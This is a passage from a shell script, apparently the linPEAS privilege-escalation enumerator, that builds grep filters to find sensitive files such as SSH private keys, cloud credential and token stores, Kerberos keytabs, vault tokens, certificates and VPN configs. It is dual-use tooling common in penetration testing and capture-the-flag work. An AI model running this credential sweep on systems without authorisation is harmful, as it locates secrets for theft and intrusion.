"$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/lib|^/private|^/applications|^/etc|^/systemd|^/media|^/bin|^/snap|^/usr|^/mnt|^/var|^/opt|^/sbin|^/.cache|^/srv|^$GREPHOMESEARCH|^/cdrom" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70) - PSTORAGE_SUPERVISORD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) - PSTORAGE_CESI=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) - PSTORAGE_RSYNC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) - PSTORAGE_HOSTAPD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/etc" | grep -E "system-connections$" | sort | uniq | head -n 70) - PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/etc" | grep -E "pam\.d$" | sort | uniq | head -n 70) - PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/etc" | grep -E "exports$" | sort | uniq | head -n 70) - PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) - PSTORAGE_RACOON=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70) - PSTORAGE_KUBELET=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/var" | grep -E "kubelet$|kube-proxy$" | sort | uniq | head -n 70) - PSTORAGE_VNC=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) - PSTORAGE_LDAP=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "ldap$" | sort | uniq | head -n 70) - PSTORAGE_LOG4SHELL=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/snap|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/applications|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70) - PSTORAGE_OPENVPN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) - PSTORAGE_SSH=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70) - PSTORAGE_CERTSB4=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) - PSTORAGE_CERTSBIN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) - PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) - PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private" | grep -E "agent.*$" | sort | uniq | head -n 70) - PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^$GREPHOMESEARCH|^/usr" | grep -E "ssh.*config$" | sort | uniq | head -n 70) - PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "credentials$|credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70) - PSTORAGE_KERBEROS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "krb5\.conf$|krb5\.keytab$|\.k5login$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70) - PSTORAGE_KIBANA=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) - PSTORAGE_KNOCKD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) - PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "logstash$" | sort | uniq | head -n 70) - PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) - PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) - PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.vault-token$" | sort | uniq | head -n 70) - PSTORAGE_COUCHDB=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "couchdb$" | sort | uniq | head -n 70) - PSTORAGE_REDIS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "redis\.conf$" | sort | uniq | head -n 70) - PSTORAGE_MOSQUITTO=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mosquitto\.conf$" | sort | uniq | head -n 70) - PSTORAGE_NEO4J=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "neo4j$" | sort | uniq | head -n 70) - PSTORAGE_CLOUD_INIT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "cloud\.cfg$" | sort | uniq | head -n 70) - PSTORAGE_ERLANG=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "\.erlang\.cookie$" | sort | uniq | head -n 70) - PSTORAGE_GMV_AUTH=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "gvm-tools\.conf$" | sort | uniq | head -n 70) - PSTORAGE_IPSEC=$(echo -e 